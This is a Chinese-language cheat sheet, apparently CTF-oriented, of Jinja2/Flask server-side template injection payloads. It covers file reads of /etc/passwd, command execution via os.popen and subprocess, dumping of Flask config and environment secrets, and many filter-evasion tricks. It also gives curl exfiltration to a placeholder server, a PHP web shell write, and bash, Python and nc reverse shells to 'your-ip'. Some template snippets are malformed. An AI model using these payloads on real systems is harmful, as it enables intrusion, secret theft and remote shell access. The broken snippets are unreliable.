常用注入模块

  • 查找所需模块对应位置(编号)
  • 构造payload

1. 文件读取

1
{{"".__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

2. 内建函数eval

1
{{"".__class__.__bases__[0].__subclasses__()[65].__init__.__globals__["__builtins__"]["eval"]("__import__('os').popen('cat /etc/passwd').read()")}}

3. os模块

1
{{"".__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}

4. importlib类

1
{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}

5. linecache函数

1
{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen('ls -l /').read()}}

6. subprocess.Popen类

1
{{[].__class__.__base__.__subclasses__()[200]("ls /",shell=True,stdout=-1).communicate()[0].strip()}}

7.利用Flask的配置对象 config

1
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

8.利用Flask的url_for函数

1
{{url_for.__globals__.os.popen('whoami').read()}}

9. 利用lipsum模块读取文件

1
lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()

SSTI绕过技巧

1. 绕过过滤双大括号

当服务器过滤了 {{` 和 `}} 时,可以使用 Jinja2 的 {% ... %} 语句块配合 print 来执行:

1
{{print("".__class__.__mro__[1].__subclasses__()[79].get_data(0,"/etc/passwd"))}}

print 也被过滤,可利用 if 判断做盲注:

1
{{if "".__class__.__mro__[1].__subclasses__()[79].get_data(0,"/etc/passwd")%}yes{{endif}}

2. 无回显SSTI(Blind SSTI)

当执行结果不直接回显到页面时,需要通过带外方式(OOB)获取数据:

DNSlog / HTTP外带

1
{{"".__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen('curl http://your-server/$(cat /flag)').read()}}

写入Web目录

1
{{"".__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen('echo <?php system($_GET[1]);?> > /var/www/html/shell.php').read()}}

时间盲注检测

1
{{if "".__class__.__mro__[2].__subclasses__()[79].get_data(0,"/etc/passwd").startswith("root")%}}{{print("found")}}{{endif}}

反弹Shell

1
2
3
4
5
6
7
8
9
10
11
# 攻击机监听:
nc -lvnp 4444

# SSTI payload - 方法一:bash反弹
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/your-ip/4444 0>&1"').read()}}

# 方法二:Python反弹
{{config.__class__.__init__.__globals__['os'].popen('python3 -c "import os,socket,subprocess;s=socket.socket();s.connect((\"your-ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])"').read()}}

# 方法三:nc反弹
{{config.__class__.__init__.__globals__['os'].popen('nc 攻击机ip 4444 -e /bin/sh').read()}}

3. getitem绕过中括号过滤

[] 被过滤时,使用 __getitem__() 方法替代:

1
{{"".__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(79)}}
1
{{"".__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(199).__init__.__globals__.__getitem__("os").popen.__getitem__("read")}}

4. request请求绕过单双引号过滤

当引号被过滤时,通过 request 对象从外部传入参数:

GET参数传递

1
2
{{"".__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(199).__init__.__globals__.__getitem__(request.args.p).popen(request.args.cmd).read()}}
# URL: ?p=os&cmd=whoami

Cookie传递(适合参数被记录的情况):

1
{{"".__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(199).__init__.__globals__.__getitem__(request.cookies.p).popen(request.cookies.cmd).read()}}

request.values传多参数

1
{{"".__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(199).__init__.__globals__.__getitem__(request.values.a).popen(request.values.b).read()}}

5. 过滤器绕过下划线过滤

_ 被过滤时,利用 attr() 过滤器配合十六进制编码绕过:

1
{{""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbases\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")(0)}}

其中 \x5f 是下划线 _ 的十六进制编码。

也可结合 request 传入属性名:

1
2
{{""|attr(request.args.a)}}
# URL: ?a=__class__

6. 中括号绕过点过滤

. 被过滤时,完全使用 [] 加字符串来访问属性和方法:

1
{{""["__class__"]["__bases__"][0]["__subclasses__"]()}}
1
{{""["__class__"]["__mro__"][1]["__subclasses__"]()[199]["__init__"]["__globals__"]["os"]["popen"]("whoami")["read"]()}}

7. 绕过关键字过滤

当特定关键字(如 classbasemro 等)被过滤时,使用字符串拼接:

1
{{""|attr("__cla"+"ss__")|attr("__ba"+"ses__")[0]}}

十六进制编码

1
{{""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")}}

base64编码配合eval

1
{{"".__class__.__bases__[0].__subclasses__()[65].__init__.__globals__["__builtins__"]["eval"]("__import__('os').popen('whoami').read()")}}

Jinja2 字符串拼接操作符
利用 Jinja2 特有的 ~ 符号进行字符串拼接:

1
{%set a="__cla"%}{%set b="ss__"%}{{a~b}}

完整示例:

1
{%set a="__cla"%}{%set b="ss__"%}{{""|attr(a~b)|attr("__bases__")[0]}}

使用过滤器变形还原
利用模板引擎内置的过滤器将字符串变形后再恢复:

1
2
3
4
5
6
# reverse 过滤器反转字符串
{%set a="__ssalc__"|reverse%}{{a}} # __ssalc__ 是 __class__ 的反写
{%set a="__claee__"|replace("ee","ss")%}{{a}} # __class__ 是 __claee__ 的变形
# 完整利用示例
{%set cls="__ssalc__"|reverse%}{{""|attr(cls)|attr("__bases__")}}
{%set a="__claee__"|replace("ee","ss")%}{{""|attr(a)|attr("__bases__")}}

利用 Python 内置 chr() 函数
通过 chr() 函数用 ASCII 码生成字符:

1
2
# 获取 chr 函数
{%set chr=url_for.__globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

8. Length过滤器绕过数字过滤

当数字被过滤时,利用 |length 过滤器生成数字:

1
2
3
4
5
# 生成数字 1
{%set a=(dict(a=1)|length)%}
# 生成数字 2
{%set b=(dict(a=1,b=1)|length)%}
# 以此类推,通过拼接不同数量的字典键来生成任意数字

利用字符串长度

1
2
3
{%set one=(dict(a=1)|length)%}           # 1
{%set two=(dict(a=1,b=1)|length)%} # 2
{%set three=(dict(a=1,b=1,c=1)|length)%} # 3

组合数字

1
2
3
{%set one=(dict(a=1)|length)%}
{%set zero=(self|length)%} # 当self长度为0时
{%set ten=(one~zero)|int%} # 字符串拼接后再转int得到10

9. 获取config文件相关内容

除了直接使用 {config}} 外,还有其他方式获取 Flask 配置:

通过self获取config

1
{{self.__init__.__globals__["current_app"].config}}

通过get_flashed_messages获取

1
{{get_flashed_messages.__globals__["current_app"].config}}

通过url_for获取

1
{{url_for.__globals__["current_app"].config}}

遍历config中的敏感信息

1
{{config.__dict__}}
1
{%for k,v in config.items()%}{%k}}:{%v}{%endfor%}

通过__init__获取全局变量中的config

1
{{"".__class__.__bases__[0].__subclasses__()[65].__init__.__globals__["current_app"].config}}

10.读取环境变量的方法

1
{{config.__class__.__init__.__globals__['os'].environ}}
1
{{cycler.__init__.__globals__.os.environ.FLAG}}
1
{{lipsum.__globals__.os.environ.FLAG}}
1
{{url_for.__globals__.os.environ.FLAG}}
1
{{get_flashed_messages.__globals__.os.environ.FLAG}}

11关

用内置open函数读取文件

1
2
3
4
5
6
7
8
9
10
{%set a=dict(config=1)|join%}
{%set b=dict(__class__=1)|join%}
{%set c=dict(__init__=1)|join%}
{%set d=dict(__globals__=1)|join%}
{%set i=dict(__getitem__=1)|join%}
{%set e=dict(__builtins__=1)|join%}
{%set f=dict(open=1)|join%}
{%set g=dict(flag=1)|join%}
{%set h=dict(read=1)|join%}
{{config|attr(b)|attr(c)|attr(d)|attr(i)(e)|attr(i)(f)(g)|attr(h)()}}

构造空格执行cat flag

1
2
3
4
5
6
7
8
9
10
11
12
13
{%set a=dict(config=1)|join%}
{%set b=dict(__class__=1)|join%}
{%set c=dict(__init__=1)|join%}
{%set d=dict(__globals__=1)|join%}
{%set i=dict(__getitem__=1)|join%}
{%set kg=lipsum|string|attr(i)(9)%}#构造空格
{%set l=dict(cat=1)|join%}
{%set m=dict(flag=1)|join%}
{%set o=l~kg~m%}
{%set e=dict(os=1)|join%}
{%set f=dict(popen=1)|join%}
{%set h=dict(read=1)|join%}
{{config|attr(b)|attr(c)|attr(d)|attr(i)(e)|attr(f)(o)|attr(h)()}}